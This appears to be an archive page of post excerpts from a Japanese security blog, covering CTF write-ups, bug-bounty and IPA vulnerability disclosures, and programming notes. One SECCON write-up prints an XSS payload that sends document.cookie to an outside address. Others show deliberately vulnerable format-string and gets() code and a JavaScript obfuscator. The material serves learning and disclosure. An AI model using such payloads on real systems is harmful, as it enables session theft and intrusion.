HITCON CTF 2014にチームfuzzi3で参加した。総勢24人。結果は1位。以下、私が解いた問題。 mid (ACM) 250点 ジャンルがACMで、まさにいわゆる競技プログラングの問題。整数nとn個の整数A0, A1, …, An-1が与えられ、Aの中央値を答える。nは1<=n<1000000を満たす奇数、Aiは符号付き64bit整数。実行時間制限は16秒、メモリ制限は4MB。 選択アルゴリズムをk=n/2として用いれば良い。単純にソートしてO(n log n)、頑張るとO(n)。簡単な問題かと思いきや、メモリの制限が厳しい。Aを全て配列に格納するには8MBのメモリが必要。 まあ、Aが一様ランダムに分布しているのならば、中央値は0付近になるはずで、abs(Ai)<=0x2000000000000000LLとなるAiだけ真面目に記録しておいて、他はこの範囲の下か上かだけ覚えておけ

mixiの脆弱性報告制度（すでに終了している）で報告した脆弱性。 mixiに報告した脆弱性1 mixiに報告した脆弱性2 mixiに報告した脆弱性3（＋報告しなかった脆弱性） LivlisにログインしているユーザーのTwitterアカウント名の漏洩 2013/12/19 報告 2014/05/15 60,000円のAmazonギフト券が届いた 2014/07/08 修正完了 Livlisはmixi子会社のkamadoが運営するサービス。現在、Twitterでログインしてソースを見ると、 <script type="text/javascript"> var L = { "ShowUser": { "user_id": "50315", "screen_name": "kusano\u3055\u3093@\u304c\u3093\u3070\u3089\u306a\u3044", "nam

Googleのウェブサービスやソフトウェアに脆弱性を見つけると金がもらえる。詳細。世界中のｽｰﾊﾟｰﾊｶｰが探しているから簡単に見つかる脆弱性なんてもう残っていないだろうと思っていたが、偶然見つけてしまい、報酬として1000ドルもらった。 Chrome Toolbox Chrome ToolboxはGoogle謹製のChrome拡張で、Chromeに細々とした機能を追加してくれる。タブをマウスホイールで切り替えられる機能と、ウィンドウを閉じようとしたときに警告してくれる機能が便利で使っていた。他にも画像を壁紙に設定するとか、フォームの自動入力とかの機能がある。NPAPIを使用していて、ChromeのNPAPIが削除されることから、最初はストアから消え、復活したと思ったらChrome Toolboxをアンインストールするだけのアプリになっていた。これが自動アップデートでインストールされるので

ぼっチームsuperflipは1403点、24位だった。 練習問題 練習問題 100点 FLAG{seccon2014} このパケットを解析せよ ネットワーク 100点 FTP通信。FTPは制御とファイル転送は別のポートで行う。55番目のパケットに、 RkxBR3tGN1AgMTUgTjA3IDUzQ1VSM30=というファイルがあり、Base64デコードすると、 FLAG{F7P 15 N07 53CUR3} ソーシャルハック ネットワーク 300点 今流行のLINE乗っ取り。こちらの用意したサイトにアクセスさせると、 MyVNCpasswordIsVNCpass123というリファラが付いているので、接続元にVNCで接続すれば良い。 FLAG{giveMeYourWebM0n3y} decode me 暗号 100点 EUCの中国語ファイル。ROT13にすると英語部分が SECCON 2

IPAに報告した「東方風神録 〜 Mountain of Faith.」と「04WebServer」の脆弱性について、IPAに情報非開示依頼の取り下げを申請して認められたので、脆弱性関連情報を公開します。私はこれらの情報の内容が真実であると確信していますし、開発者などの名誉を毀損する意図でこれらの情報を公開するわけではありません。 「東方風神録 〜 Mountain of Faith.」のバッファーオーバーラン 東方風神録 〜 Mountain of Faith. 「東方文花帖 〜 Shoot the Bullet.」の脆弱性を見つけたときに、東方シリーズの他の作品も調べていた。最近の東方シリーズはコンパイラが変わったのかスタックがカナリアで保護されていて、バッファーオーバーランでの攻撃はできないと一旦は諦めていたが、SEHオーバーライトという手法によって攻撃できた。SEHオーバーライトは

mixiの脆弱性報告制度（すでに終了している）で報告して、修正された脆弱性。 youbrideの有料機能を無料で使える問題 2014/03/12 報告 2014/03/18 修正完了 2014/03/24 75,000円のAmazonギフトが届いた youbrideはmixiの子会社の株式会社Diverseが運営する婚活サイト。一時、制度の対象だった。 youbrideでは無料ユーザーはプロフィールの公開条件は「全体に公開」しか選べない。 ChromeのDeveloper Toolで他の選択肢を有効にしたら、「全体に公開」以外の公開条件も選べてしまった。 mixiワードのXSS 2014/03/31 報告 2014/03/31 修正完了 2014/04/09 125,000円のAmazonギフトが届いた mixiワードにXSS可能な脆弱性があった。 「猫」には、キャットタワー、キャットフー

backdoorCTFにチームsuperflipとして参加した。2630点21位。サクサク解けて面白かった。フラグは見つけたフラグのMD5ハッシュを投稿するものが多かったので、一応答えにもMD5ハッシュを付けている。指定された問題以外にもCSSとかに隠しフラグがあったらしい。 Crypto 10 画像ファイルが問題。末尾にzipファイルが付いている。解凍すると画像が出てくる。この画像も末尾にzipファイルが付いている。 6307834008eb8edbe18c7a20ee4a909d Crypto 100 公開鍵と暗号化したファイルが渡されて復号する問題。220bitのRSAなので正攻法で解ける。 >openssl rsa -pubin -text < id.pub Public-Key: (220 bit) Modulus: 0c:09:e7:ec:78:f2:f8:ad:a9:95:3

mixiの脆弱性報告制度で報告して、修正された脆弱性。報酬がもらえるかどうかが分かったら追記する。 nohanaのパスワードリマインダーのXSS 2013/10/02 報告 2014/02/14 修正完了 2014/03/25 報酬支払い対象外との連絡(´･ω･｀) http://nohana.parseapp.com/password_reminder/user_management.htmlにアクセスすると、 Right click here to save this page. Upload it to your own website and paste the URL in the "Parse Frame URL" app settings at Parse.com. と表示され、hereの部分がJavaScriptでwindow.locationへのリンクになっていた。 ht

このプログラムには脆弱性がある。 #include <stdio.h> #include <string.h> char target[] = "test"; int main() { char buf[1024]; fgets(buf, sizeof buf, stdin); printf(buf); printf("%p: %s\n", target, target); return 0; } $ g++ -m32 -o bug bug.cpp $ ./bug abcdefg abcdefg 0x80497fc: testprintf()の第1引数に外部から指定可能な文字列を渡してはいけない。これによって、ほぼ任意のアドレスの値を呼んだり、値を書き込んだりできる。 書式指定文字列攻撃という。CPUのアーキテクチャに依存しないし、スタックのアドレスがランダム化されていたり実行不可能だった

2013「年度」の全国大会。私が所属していた某チームは、半分より下の順位だった(´･ω･｀)　塔の名前が付いた6個のサーバーがあって、サーバーの中からキーワードを探し出すと点数ゲット、指定されたファイルにチームごとの文字列が書き込まれていると点数ゲット、という形式。解けた問題の解法。焦っていたので、キーワードとか解いている途中の様子とかをちゃんとメモしていなかった。問題サーバーのVMイメージが貰えたら、残りの問題も解いてみよう。 Korin 元ネタ: カリンの塔 1個目 管理者宛のメールフォーム。管理者向けページへの隠しリンクがあるが、アクセスできない。メールアドレスがきっちりチェックされていると思いきや、ローカル部（@の前）には何でも書ける。 "><script>location="http://192.168.1.3/?"+document.cookie</script>@aaa.bb

SECCON 2013 オンライン予選大会に、チームsuperflipとして参加した。3600点（たぶん）10位。解いた問題は次の通り。 以下、解けた問題と後から解いた問題のWrite-up。 フォレンジックス 100点 ここはどこ？ 問題ファイルは電子メール。本文は 答: ○○○○○○ ○○○tiff形式のパンダの画像が添付されている。EXIFに記録されている座標は、24;59;55, 121;34;52で、台湾の動物園。taipei zooが最初は不正解だったけど、後から惜しい解答も正解にしますというアナウンスがあって、正解になった。 taipei zoo フォレンジックス 300点 ログインパスワードを解明せよ メモリダンプから指定されたユーザーのWindowsログインパスワードを解析せよという問題。volatilityというツールでハッシュをダンプし、John the ripper

IPAは脆弱性関連情報を受け付けて、（JPCERT/CCに通知してJPCERT/CCが）製品開発者に連絡するという仕事をしている（噂によると専任の人がいるわけではないらしい）。どういう問題が脆弱性として受理されるかはIPAが公開している脆弱性の一覧を見ればわかるけど、どういう問題が受理されないかは公開されないので、私が報告して受理されなかった問題をまとめてみた。脆弱性ではない問題が報告されてIPAの手間を増やすリスクより、脆弱性が報告されないリスクのほうが高いだろうから、迷ったら報告するべきだとは思う。ちなみに、脆弱性ではないということで受理されなくても、望ましくない実装なら開発者に通知してくれる。 IPAの脆弱性の定義は、 脆弱性とは、ソフトウエア製品やウェブアプリケーション等において、コンピュータ不正アクセスやコンピュータウイルス等の攻撃により、その機能や性能を損なう原因となり得るセキ

hack you 2014に参加した。12/20問、3000点、15位。以下、解けた問題の解法。 Crypto 100 Easy one 単純な暗号化のプログラムと、平文暗号分のペアと、暗号分が与えられるので、鍵を逆算して、 P = open("msg001", "rb").read() C = open("msg001.enc", "rb").read() K = "" for i in range(len(P)): K += chr(((ord(C[i])-ord(P[i])-i*i)^(ord(P[i-1]) if i>0 else 0))%256) print K 復号するだけ。 K = map(ord, "VeryLongKeyYouWillNeverGuess") C = map(ord, open("msg002.enc", "rb").read()) P = [] t =

CSAW 2013 Qualificationにチームsuperflipとして参加した。メンバーは私1人。3400点、109位。去年も参加したけど良問が多くて面白い。 私が解いた問題の解法。解けなかった問題は、他の人のWrite-upへのリンク。 Trivia Trivia1 - 50 Points Drink all the booze, ____ all the things!ググるだけ。というか、ググろうとChromeのOmniboxに問題文を貼り付けたら、候補に答えが表示されたw hack Trivia2 - 50 Points What is the abbreviation of the research published in the Hackin9 issue on nmap by Jon Oberheide, Nico Waisman, Matthieu Suiche,

昨年IPAに報告した「Autofill」の脆弱性について、IPAに情報非開示依頼の取り下げを申請して認められたので、脆弱性関連情報を公開します。 保存しているパスワードが漏洩する問題 説明書きに書いてあるように、SiteのところにはURLだけではなく、タイトルも書けます。サイトAのページタイトルにサイトBのURLが含まれていると、サイトBのパスワード等をサイトAにも送ってしまいます。 Exploit Yahoo!のIDとパスワードを登録して、↑のページにアクセスするとYahoo!のページではないのに、Yahoo!のIDとパスワードが表示されます。 XSS 設定ページの値の部分にXSSがあります。編集するのはユーザー自身なので問題無さそうですが、AutofillにはページにIDとパスワードを入力して、 右クリック　→　Autofill　→　Add rules for this form...

SECCON 2013 横浜大会に参加してきた。1564点で1位。誰も解けなかった3問以外は全部解いた(･∀･)　以下、私（と周囲の人）の解法。後で問題が公開されるという噂もあるので、自力で解きたい人は見ない方が良い。 1. 練習問題（タイトルを忘れた）（バイナリ、10点） コピペ。 答え: seccon 2. SSBNewCommer（バイナリ、200点） Androidのアプリを解析する問題。 クリックするとそのマス目の色が変わり、特定の配置になるとFLAGが表示される（らしい）。プログラムは、 x = マスの配置を文字列に変換 if (x[0]=='B' && x[4]=='I' && sha1(x)=='50e878fe75ee49b31e68d85ffd54fc7e3a2605c') dialog('Flag:'+x)こんな感じ。探索するプログラムを書いて終わりかと思いきや、答え

CSAW CTF 2014の予選にsuperflipというチーム名で参加した。結果。2240点145位。去年までは簡単な問題が多かったけど、今年は難しい問題は普通に難しかった。以下、解けた問題の解法。問題はアカウントを登録すれば、ここでまだ見られる。 Exploitation bo (100点) バイナリファイルとそれが動いているサーバーのIPアドレスが提示される良くある形式。普通はバイナリファイル中にフラグは無いので、バイナリファイルを解析して、その結果をサーバーに投げるけれども、この問題はバイナリファイル中にフラグがそのまま含まれていた。 >strings bo ： Welcome to CSAW CTF! Time to break out IDA Demo and see what's going on inside me. :] flag{exploitation_is_easy

TweetDeck をハックしたら予想以上に酷かった件 - Windows 2000 Blog もふったーの作者が、TweetDeckがConsumer keyとConsumer secretを平文で持っていることを批判していたので、もふったーはどうなっているのか調べてみた。 もふったーをインストールする Immunity Debuggerをインストールする Immunity Debuggerでもふったーを開き、下の画面のようになるまで、F9を押して実行する CPUウィンドウの左上の欄で右クリック → Search for → All referenced text strings 出てきた画面で右クリック → Search for text → 「consumer_key」で検索 oauth_consumer_keyをダブルクリック → F2を押してブレークポイントを設定 → F9を押し

第1回SECCON CTF全国大会にチームmofuppとして参加してきた。 SECCON 競技コンテスト開催！: 第1回SECCON CTF全国大会 結果報告 NHKニュース mofuppは4位だった。（たぶん）Mercuryサーバーの3個目以外の、Mercury, Jupiter, Uranusの全キーワードはmofuppが最初に奪取(￣ー￣) 以降は大会の様子。後日、参加したチームに攻撃対象サーバーのVMイメージを送ってくれるらしいので、解いて追記しようと思う。私の作業分だけじゃなくて、チーム全体の分を書いている。 ルール 攻撃対象のサーバーとして、Mercury, Venus, Mars, Jupiter, Uranus, Neptuneの6個のサーバーが時間差で与えられる。サーバーを攻撃して、キーワードを奪取し、スコアサーバーに送信すると+100点。他に、各サーバーごとに改竄対象の

CODE VS 2.0に参加した。 結果は、予選が総合9位、学生7位。決勝が初戦負けだった。5位の賞状（たぶん一回戦で負けた人全員が5位）を貰ったので、結果を訊かれたら、5位だったと言おう( ･`д･´) 予選 基本的に、3手（小）2手（中大）を全探索して最も評価値の高いところに落とすだけ。工夫したところは、 盤面を一次元配列で表すと、縦・横・斜めのラインが等差数列になるので、ラインを等差数列として管理する。似たような処理を何回も書かなくて済む。 落下・消去時の処理は変化したブロックが含まれるラインだけで良いので、各ラインごとに処理する必要があるかを覚えておいて高速化。 スコアではなく現在できている連鎖数を評価する。連鎖数は全ての場所に全ての数値を1個落としてみて、最多の連鎖数を採用する。1手深く読んだくらいの時間がかかるけど、こうしないと、例えば連鎖を伸ばしておいて10手先のブロックで発

昨年、「TVRock」「東方文花帖 〜 Shoot the Bullet.」「kkcald」に脆弱性を発見し、IPAに報告しました。IPAからは脆弱性に関連する情報を公開しないように言われる（情報非開示依頼）のですが、起算日から1年以上が経過すると情報非開示依頼の取り下げを求めることができるようになります。取り下げを申請して認められたので、脆弱性関連情報を公開します。 脆弱性関連情報を開発者に通知したという通知と一緒に起算日が何日かということが知らされるので、開発者に通知した日が起算日なのかと思っていましたが、ガイドラインには「本ガイドラインの「IPA および JPCERT/CC 対応」において「製品開発者への連絡」(3-(2)-2)として規定された連絡を最初に試みた日を起算日とします。」と書かれていて、実際に開発者と連絡が取れたかどうかに関わらず、IPAが脆弱性関連情報を受理した日から1

SECCON CTFの横浜大会に参加してきた。チームメンバーは、@yatuhataさん、@tanaproさん、@zuisouさん、@kusano_k（私）。結果は準優勝だった。 以下は各問題の解法と答え。分かるところのみ。 1 練習問題 書かれている答えをコピペするだけ。 答え secconctf 2 NG大学システム管理者からの依頼 ウェブサービスにrootでログインし、鍵を奪取しろという問題。解けなかった。 LDAP認証のインジェクションらしい。全然分からないので勉強しよう……。 3 SHA-3は3倍早くない 会員制のウェブサービスの1人目の会員のパスワードを奪取しろという問題。 会員登録してログインすると、↓のようなCookieが設定される。 sid=; uid=10; NIST_SHA-3=1a192fabce13988b84994d4296e6cdc418d55e2f1d7f94

(」・ω・)」うー!(/・ω・)/にゃー!encodeの説明。 (」・ω・)」うー!(/・ω・)/にゃー!encodeは、JavaScriptを(」・ω・)」うー!(/・ω・)/にゃー!に変換する。 このJavaScript alert("(」・ω・)」うー!(/・ω・)/にゃー!") は、以下のようになる。 (ᒧᆞωᆞ)=(/ᆞωᆞ/),(ᒧᆞωᆞ).ᒧうー=-!!(/ᆞωᆞ/).にゃー,(〳ᆞωᆞ)=(ᒧᆞωᆞ),(〳ᆞωᆞ).〳にゃー=- -!(ᒧᆞωᆞ).ᒧうー,(ᒧᆞωᆞ).ᒧうーｰ=(〳ᆞωᆞ).〳にゃー- -!(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーｰ=(ᒧᆞωᆞ).ᒧうーｰ- -(〳ᆞωᆞ).〳にゃー,(ᒧᆞωᆞ).ᒧうーー=(〳ᆞωᆞ).〳にゃーｰ- -!(ᒧᆞωᆞ).ᒧうー,(〳ᆞωᆞ).〳にゃーー=(ᒧᆞωᆞ).ᒧうーー- -(〳ᆞωᆞ).〳にゃー,(ᒧᆞωᆞ).

CTF（セキュリティ関係のクイズ）でExploit（プログラムの脆弱性を突く）問題がさっぱり解けないので、練習した。 問題 こんな問題を自作した。 [kusano@madoka exploittest]$ ll 合計 16 -rwsrwxr-x 1 secret secret 5078 2011-10-05 23:50 crypt -rw-rw-r-- 1 secret secret 141 2011-10-05 23:49 crypt.cpp -rw------- 1 secret secret 88 2011-10-05 23:56 secret.txtcrypt.cpp #include <stdio.h> #include <string.h> int main() { char buf[256]; gets( buf ); memfrob( buf, strlen(buf) );

Google Developer Day 2011 Japan を開催します - Google Japan Developer Relations Blog Google Developer Day 2011 Japanというイベントがあって、それに参加するためには事前にクイズで高得点をとる必要がある。想定解法でなさそうなのが多いけど、私の解答。ちゃんと正攻法で解いた方が楽しかったし、勉強になったかもしれない。 ウォームアップクイズ 多肢選択式の問題が5問。人によって問題が違うらしい。全通りの組み合わせを試す時間は無いけど、1問ずつ回答を変えていけば間に合う。 Web Game Chrome Extensionの作り方を調べるのをサボって、ただのJavascriptで解いた。全ての組み合わせを試せば良い。 #"entry-info-thumbnail">

PythonでTwitterのUser Streamを取得してみた。残念ながらtweepyは対応していない。何となく難しそうなイメージがあったけど、OAuthの部分をライブラリに任せてしまえば、けっこう簡単。delimited=lengthを付けた場合は、 x xバイトのデータ y yバイトのデータ z zバイトのデータ ：というデータが返ってくる。改行だけが返ってきてエラーになる場合があったので、長さの取得部分はtweepyのstreaming.pyを参考にした。 import tweepy, urllib, urllib2, json # tweepyの解説をしているページを参考に取得 consumer_key = "XXXXXXXXXXXXXXXXXXXXXX" consumer_secret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX